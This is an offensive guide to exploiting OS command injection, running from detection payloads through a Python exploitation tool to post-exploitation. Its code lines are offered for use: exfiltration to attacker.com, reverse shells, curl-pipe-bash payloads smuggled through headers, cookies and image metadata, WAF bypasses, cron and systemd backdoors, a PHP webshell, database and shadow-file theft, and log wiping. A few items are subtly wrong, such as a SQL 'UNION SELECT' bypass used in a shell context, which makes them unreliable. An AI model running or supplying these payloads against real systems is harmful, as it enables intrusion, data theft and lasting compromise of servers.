Exploiting OS Command Injection¶
Exploiting command injection involves identifying a vulnerable input vector and then using shell metacharacters to execute arbitrary commands. The techniques range from simple, direct execution to complex, blind exfiltration methods.
1. Identifying Command Injection Vulnerabilities¶
The first step is to discover if an application parameter is vulnerable. This is done by injecting characters that have a special meaning to the shell and observing the application's response.
Using Shell Metacharacters¶
These characters can be used to separate or chain commands.
| Metacharacter | Name | Description |
|---|---|---|
; | Semicolon | Command Separator: Executes the first command, then the second, regardless of success or failure. |
&& | Logical AND | Conditional Separator: Executes the second command only if the first command succeeds. |
\|\| | Logical OR | Conditional Separator: Executes the second command only if the first command fails. |
& | Ampersand | Asynchronous Separator: Executes the first command in the background and immediately starts the second. |
\n | Newline | Line Feed: Can act as a command separator in many shell contexts. |
` | Backticks | Command Substitution: The output of the command inside the backticks is used as an argument. |
$() | Dollar Parentheses | Command Substitution: Similar to backticks, but allows for nesting. |
Example Test: If a ping utility is at ?ip=8.8.8.8, you can test it with: - ?ip=8.8.8.8; whoami - ?ip=8.8.8.8 && whoami
Using Time-Based Payloads¶
If the application doesn't return output, you can test for blind command injection by injecting a sleep command. If the server's response is delayed, the command was executed.
?ip=8.8.8.8; sleep 10
If the HTTP response takes 10 seconds longer than usual, the application is vulnerable.
Using Out-of-Band (OOB) Payloads¶
You can force the server to make a network request to a system you control. This is the most reliable method for confirming blind vulnerabilities.
DNS Lookup (using nslookup or dig): Set up a listener on your domain (e.g., using Burp Collaborator or interactsh).
?ip=8.8.8.8; nslookup your-collaborator-domain.com
If you receive a DNS lookup from the server, it's vulnerable.
2. In-Band (Direct) Exploitation¶
This is the simplest scenario, where the command's output is returned in the HTTP response.
Scenario: A file viewer application uses a file parameter. https://example.com/view?file=datasheet.pdf
The backend code is system("cat /var/www/data/" . $_GET['file']);
Exploitation: 1. Inject id command: https://example.com/view?file=datasheet.pdf; id
-
HTTP Response:
HTTP/1.1 200 OK Content-Type: text/plain ... (contents of datasheet.pdf) ... uid=33(www-data) gid=33(www-data) groups=33(www-data) -
Read sensitive files:
https://example.com/view?file=datasheet.pdf; cat /etc/passwd -
List directory contents:
https://example.com/view?file=datasheet.pdf; ls -la /var/www/
3. Blind Command Injection Exploitation¶
When there is no direct output, exploitation requires more creative techniques.
Method 1: Time-Based Data Exfiltration¶
You can exfiltrate data one character at a time by asking a series of conditional questions that trigger a time delay.
Payload Logic: if [ condition ]; then sleep 5; fi
Example: Exfiltrating the output of whoami
-
Is the first character 'w'?
?ip=8.8.8.8; if [ $(whoami | cut -c 1) = 'w' ]; then sleep 5; fi(Server delays for 5 seconds) -> TRUE -
Is the second character 'w'?
?ip=8.8.8.8; if [ $(whoami | cut -c 2) = 'w' ]; then sleep 5; fi(Server responds immediately) -> FALSE
This is tedious and slow, making it a perfect task for automation with a simple script.
Method 2: Output Redirection to a Web-Accessible File¶
If the web server process has write permissions to a directory within the web root, you can redirect command output to a file and then read it with your browser.
-
Redirect output of
whoami:?ip=8.8.8.8; whoami > /var/www/html/output.txt -
Access the file: Navigate to
http://example.com/output.txtin your browser. The page should containwww-data.
Method 3: Out-of-Band (OOB) Exfiltration¶
This is often the most efficient method for blind injection.
-
Set up a listener: Use
nc -lvnp 80on a server you control (e.g.,attacker.com). -
Exfiltrate data with
curlorwget: The data to be exfiltrated should be URL-encoded or Base64-encoded to ensure it's transmitted correctly.?ip=8.8.8.8; curl http://attacker.com/?data=$(whoami | base64) -
Check your listener: Your
netcatlistener will receive an HTTP request:DecodingGET /?data=d3d3LWRhdGEK HTTP/1.1 Host: attacker.com User-Agent: curl/7.68.0 Accept: */*d3d3LWRhdGEKfrom Base64 giveswww-data.
4. Bypassing Filters and WAFs¶
Developers may attempt to block command injection by filtering spaces or blacklisting certain characters. These filters can often be bypassed.
Bypassing Space Filters¶
The shell's Internal Field Separator (IFS) can be used in place of a space. - Standard Payload: cat /etc/passwd - Bypass Payload: cat${IFS}/etc/passwd
Other characters like < and {} with brace expansion can also work. - cat</etc/passwd - {cat,/etc/passwd}
Bypassing Character Blacklists¶
If characters like /, cat, or ls are blocked, you can use encoding or other commands to reconstruct them.
-
Base64 Encoding:
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | sh(WhereY2F0IC9ldGMvcGFzc3dkis the Base64 forcat /etc/passwd) -
Hex Encoding:
echo "636174202f6574632f706173737764" | xxd -r -p | sh -
Using
printf:printf '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64' | sh
5. Upgrading to an Interactive Shell¶
Once you have RCE, the next step is often to get a stable, interactive shell on the target.
-
Set up a listener on your machine:
nc -lvnp 4444 -
Execute a reverse shell payload on the target:
Bash:
bash -i >& /dev/tcp/YOUR_IP/4444 0>&1Python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'Netcat:
nc -e /bin/sh YOUR_IP 4444
After executing one of these payloads (URL-encoded) via the command injection vulnerability, your netcat listener should receive an incoming connection, giving you an interactive shell on the victim server.
6. Request-Based Command Injection¶
While URL parameters are common, command injection can occur in any user-controlled input that reaches a shell command. Here are the most common injection points:
POST Body Parameters¶
Form Data:
<form action="/contact" method="POST">
<input name="name" value="John Doe">
<input name="email" value="john@example.com">
<input name="message" value="Hello world">
</form>
Vulnerable Backend:
<?php
$name = $_POST['name'];
$email = $_POST['email'];
$message = $_POST['message'];
system("mail -s 'Contact form: $name' admin@company.com < /tmp/template.txt");
?>
Exploitation:
# POST request with injection
curl -X POST http://vulnerable.com/contact \
-d "name=John; curl http://attacker.com/shell | bash #&email=john@example.com&message=Hello"
JSON POST Data¶
API Endpoint:
@app.route('/api/process', methods=['POST'])
def process_data():
data = request.get_json()
filename = data['filename']
# Vulnerable command
os.system(f"convert /uploads/{filename} /processed/{filename}.jpg")
Exploitation:
curl -X POST http://vulnerable.com/api/process \
-H "Content-Type: application/json" \
-d '{"filename": "image.jpg; whoami"}'
HTTP Headers¶
User-Agent Header:
@app.route('/log')
def log_request():
user_agent = request.headers.get('User-Agent')
os.system(f"echo '{user_agent}' >> /var/log/user_agents.log")
Exploitation:
curl http://vulnerable.com/log \
-H "User-Agent: Mozilla/5.0; curl http://attacker.com/exfil | bash #"
Referer Header:
curl http://vulnerable.com/page \
-H "Referer: http://legit.com; nslookup attacker.com #"
Cookies¶
Cookie Injection:
<?php
$session_id = $_COOKIE['session_id'];
system("grep '$session_id' /var/log/sessions.log");
?>
Exploitation:
curl http://vulnerable.com/dashboard \
-H "Cookie: session_id=abc123; whoami > /tmp/output #"
File Upload Metadata¶
EXIF Data in Images:
def process_image(filepath):
# Extract GPS data
os.system(f"exiftool -gpslatitude -gpslongitude {filepath}")
Exploitation:
# Create malicious image with exiftool
exiftool -gpslatitude="; curl http://attacker.com/shell | bash #" \
-o malicious.jpg input.jpg
# Upload the file
curl -F "image=@malicious.jpg" http://vulnerable.com/upload
WebSocket Messages¶
WebSocket Handler:
ws.on('message', (data) => {
const command = JSON.parse(data).cmd;
exec(`process_data ${command}`, (error, stdout) => {
ws.send(stdout);
});
});
Exploitation:
// Send malicious WebSocket message
ws.send(JSON.stringify({
cmd: "legit_data; curl http://attacker.com/exfil | bash #"
}));
7. Advanced Bypass Techniques¶
WAF Bypass Strategies¶
Case Manipulation:
# If WAF blocks "union"
?ip=8.8.8.8; UnIoN SeLeCt 1,2,3
Encoding Variations:
# Double encoding
?ip=8.8.8.8; %65%63%68%6f%20%68%61%63%6b%65%64 # echo hacked
# Unicode encoding
?ip=8.8.8.8; \u0065\u0063\u0068\u006f hacked
Comment Injection:
# SQL-style comments
?ip=8.8.8.8; whoami # comment
# Multi-line comments
?ip=8.8.8.8; whoami /*
multi
line
comment
*/
Filter Evasion Techniques¶
Path Traversal with Commands:
# If / is blocked
?ip=8.8.8.8; cat ../../etc/passwd
?ip=8.8.8.8; cat .../.../etc/passwd
Command Substitution Evasion:
# Nested substitution
?ip=8.8.8.8; $(`echo "whoami"`)
# Base64 in substitution
?ip=8.8.8.8; $(echo "d2hvYW1p" | base64 -d)
Environment Variable Abuse:
# Use $PATH
?ip=8.8.8.8; $PATH/bin/cat /etc/passwd
# Modify PATH
?ip=8.8.8.8; PATH=/bin:/usr/bin whoami
Regex Bypass Patterns¶
Common WAF Regex Patterns and Bypasses:
| WAF Pattern | Bypass Technique | Example |
|---|---|---|
\b(cat|ls|whoami)\b | Case variation | WhOaMi |
[\;\|\&\]| Encoding |%3b` (URL encoded ;) | ||
(\.\./)+ | Encoding | %2e%2e%2f |
\b(rm|del)\b | Command chaining | >file; rm file |
\b(passwd|shadow)\b | Alternative paths | /etc//passwd |
8. Real-World Exploitation Chains¶
Chain 1: Web App to Internal Network¶
Step 1: Initial Access
# Find vulnerable ping utility
curl "http://webapp.com/ping?ip=8.8.8.8; whoami"
# Response: www-data
Step 2: Information Gathering
# Check network interfaces
curl "http://webapp.com/ping?ip=8.8.8.8; ip addr show"
# Response: eth0: 10.0.5.10/24
# Find internal services
curl "http://webapp.com/ping?ip=8.8.8.8; netstat -tlnp"
# Response: 3306/mysql, 6379/redis
Step 3: Internal Network Scanning
# Scan subnet for live hosts
curl "http://webapp.com/ping?ip=8.8.8.8; for i in {1..254}; do ping -c1 -W1 10.0.5.\$i >/dev/null && echo 10.0.5.\$i; done"
Step 4: Service Exploitation
# Attack internal MySQL
curl "http://webapp.com/ping?ip=8.8.8.8; mysql -h10.0.5.20 -uroot -e 'show databases'"
Chain 2: CI/CD Pipeline Compromise¶
Step 1: Webhook Exploitation
POST /webhook/github
{
"repository": {
"name": "project; curl http://attacker.com/exfil | bash #"
}
}
Step 2: Extract Build Secrets
# Exfiltrate environment variables
curl "http://compromised-ci.com/build?repo=project; env | curl -d @- http://attacker.com/env"
Step 3: Access Cloud Resources
# Use extracted AWS credentials
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."
aws s3 ls s3://sensitive-bucket
Chain 3: Container Escape¶
Step 1: Container Command Injection
# Exploit containerized app
curl "http://container-app.com/process?file=input; mount | grep docker"
Step 2: Docker Socket Access
# If docker socket is mounted
curl "http://container-app.com/process?file=input; docker run -v /:/host alpine chroot /host"
Step 3: Host System Access
# Now on host system
curl "http://container-app.com/process?file=input; cat /etc/shadow"
9. Automated Exploitation Tools¶
Custom Python Exploiter¶
import requests
import base64
import time
import threading
from queue import Queue
class CommandInjectionExploiter:
def __init__(self, url, param):
self.url = url
self.param = param
self.session = requests.Session()
def test_vulnerability(self):
"""Test for command injection vulnerability"""
payloads = [
"; whoami",
"&& whoami",
"|| whoami",
"| whoami",
"$(whoami)",
"`whoami`"
]
for payload in payloads:
test_url = f"{self.url}?{self.param}=8.8.8.8{payload}"
try:
response = self.session.get(test_url, timeout=5)
if "www-data" in response.text or "root" in response.text:
return True, payload
except:
continue
return False, None
def execute_command(self, command):
"""Execute arbitrary command"""
payload = f"8.8.8.8; {command}"
url = f"{self.url}?{self.param}={payload}"
response = self.session.get(url)
return response.text
def blind_time_based_exfil(self, command):
"""Time-based data exfiltration"""
result = ""
chars = "abcdefghijklmnopqrstuvwxyz0123456789-_."
for pos in range(1, 50):
found = False
for char in chars:
payload = f"8.8.8.8; if [ $({command} | cut -c {pos}) = '{char}' ]; then sleep 3; fi"
start = time.time()
try:
self.session.get(f"{self.url}?{self.param}={payload}", timeout=10)
if time.time() - start > 3:
result += char
found = True
break
except:
continue
if not found:
break
return result
def oob_exfil(self, command, callback_url):
"""Out-of-band exfiltration"""
payload = f"8.8.8.8; curl {callback_url}?data=$({command} | base64)"
self.session.get(f"{self.url}?{self.param}={payload})
# Usage
exploiter = CommandInjectionExploiter("http://vulnerable.com/ping", "ip")
is_vuln, working_payload = exploiter.test_vulnerability()
if is_vuln:
print(f"Vulnerable with payload: {working_payload}")
output = exploiter.execute_command("whoami")
print(f"Command output: {output}")
Burp Suite Extensions¶
Command Injection Scanner:
# Burp extension for automated command injection testing
def scan_command_injection(self, request_response):
# Extract parameters
parameters = self.get_parameters(request_response.getRequest())
for param in parameters:
# Test various injection payloads
payloads = self.generate_payloads()
for payload in payloads:
modified_request = self.modify_parameter(request_response.getRequest(), param, payload)
response = self.send_request(modified_request)
if self.detect_injection(response):
self.report_vulnerability(param, payload)
Custom Wordlists¶
Command Injection Payloads:
; whoami
&& whoami
|| whoami
| whoami
`; whoami`
$(whoami)
; whoami #
; whoami /*
; whoami <!--
; whoami -->
; whoami //
; whoami --
; whoami ;
; whoami &
; whoami |
; whoami `whoami`
; whoami $(whoami)
; whoami {whoami}
; whoami [whoami]
; whoami $(`whoami`)
10. Advanced Post-Exploitation¶
Privilege Escalation Techniques¶
SUID Binary Exploitation:
# Find SUID binaries
find / -perm -4000 2>/dev/null
# Exploit vulnerable SUID binary
# Example: if /bin/cp is SUID
echo 'int main() { setuid(0); system("/bin/sh"); }' > /tmp/exploit.c
gcc /tmp/exploit.c -o /tmp/exploit
/bin/cp /tmp/exploit /bin/suid_exploit
/bin/suid_exploit
Cron Job Exploitation:
# Check cron jobs
cat /etc/crontab
ls /etc/cron.*
# Add malicious cron job
(crontab -l ; echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1") | crontab -
Service Exploitation:
# Check running services
ps aux | grep root
# Exploit misconfigured services
# Example: Redis with writable config
echo "slaveof attacker.com 6379" | redis-cli
Persistence Mechanisms¶
SSH Key Addition:
# Generate SSH key
ssh-keygen -t rsa -f /tmp/id_rsa -N ""
# Add to authorized_keys
mkdir -p ~/.ssh
cat /tmp/id_rsa.pub >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
# Download private key
curl http://attacker.com/id_rsa --upload-file /tmp/id_rsa
Web Shell Deployment:
# Create PHP webshell
echo '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' > /var/www/html/shell.php
# Access webshell
curl "http://victim.com/shell.php?cmd=whoami"
Systemd Service:
# Create service file
cat > /etc/systemd/system/backdoor.service << EOF
[Unit]
Description=Backdoor Service
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
[Install]
WantedBy=multi-user.target
EOF
# Enable and start
systemctl enable backdoor
systemctl start backdoor
Data Exfiltration Techniques¶
Large File Transfer:
# Compress sensitive data
tar czf /tmp/data.tar.gz /var/www /home /etc/passwd /etc/shadow
# Split into chunks
split -b 1m /tmp/data.tar.gz /tmp/chunk_
# Exfiltrate chunks
for chunk in /tmp/chunk_*; do
curl http://attacker.com/upload -F "file=@$chunk"
done
Database Dumping:
# MySQL dump
mysqldump -u root --all-databases > /tmp/db.sql
curl http://attacker.com/db.sql --upload-file /tmp/db.sql
# PostgreSQL dump
pg_dumpall -U postgres > /tmp/pg.sql
curl http://attacker.com/pg.sql --upload-file /tmp/pg.sql
Memory Dumping:
# Dump process memory
gcore $(pgrep -f "important_process")
curl http://attacker.com/core --upload-file core.$(pgrep -f "important_process")
11. Detection and Evasion¶
Anti-Forensic Techniques¶
Log Manipulation:
# Clear command history
history -c
rm ~/.bash_history
# Modify timestamps
touch -t 202001010000 /var/log/auth.log
# Remove evidence
find /var/log -name "*.log" -exec sed -i '/whoami/d' {} \;
Process Hiding:
# Hide processes
# Using unhide or similar tools
unhide -f proc
# Rootkit installation
curl http://attacker.com/rootkit.tar.gz | tar xz
cd rootkit && make install
Advanced Evasion¶
Traffic Obfuscation:
# Use DNS tunneling for C2
dnscat attacker.com
# HTTP smuggling
curl -X POST http://victim.com/api \
-H "Content-Type: application/json" \
-d '{"cmd": "whoami"}' \
-H "X-Forwarded-For: attacker.com"
Living Off The Land:
# Use legitimate system binaries
/usr/bin/python3 -c "import os; os.system('whoami')"
/bin/bash -c "whoami"
/usr/bin/perl -e "system('whoami')"
This extended guide provides comprehensive coverage of command injection exploitation techniques, from basic testing to advanced post-exploitation and evasion methods.